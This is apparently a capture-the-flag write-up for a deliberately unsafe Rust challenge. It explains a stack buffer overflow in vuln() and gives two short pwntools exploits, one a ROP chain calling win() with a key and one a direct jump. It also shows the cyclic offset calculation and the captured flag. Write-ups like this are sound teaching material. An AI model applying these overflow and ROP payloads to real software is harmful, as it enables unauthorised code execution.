Stumbled upon Rust recently, still learning the ropes…
You’re given this horrible example of rust code which is just adding as many unsafe C features as it can
|
|
The vuln()
function reads 0x200
bytes into a buffer of 0x40
size => buffer overflow. And on line 4 you’re given a PATHPOINT
which is just the ROP Gadget for pop rdi
.
All you have to do is call win()
with 0xdeadbeefcafebabe
as the function argument, for which you use the given pathchpoint since the rdi
reg contains you’re first function argument
# exploit
io = start()
key = 0xdeadbeefcafebabe
win_addr = exe.symbols['win']
log.info(f"{hex(win_addr)=}")
# rop chain
rop = ROP(exe)
rop.call(rop.ret)
rop.call('win', [key])
log.debug('\n' + rop.dump())
# payload
payload = flat({72:rop.chain()})
io.sendlineafter("Say something:\n", payload)
io.interactive()
The offset 72
was found by using
❯ pwn cyclic 600
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf
to generate a cyclic payload that you send into ./chal
and check the value of the overwritten rbp
register
You can calculate the offset with
❯ pwn cyclic -l saaa
72
FortID{1_D0n'7_Th1nk_Th1s_1s_H0w_Y0u'r3_Supp0s3d_T0_Wr1t3_C0d3_1n_Ru5t}
Alternatively you could jump straight to the win condition, without needing to set the function argument. This is possible since there was no PIE and thus addresses were fixed
io = start()
dst_addr = 0x23c4f3
payload = flat({72: dst_addr})
io.sendlineafter("Say something:\n", payload)
io.interactive()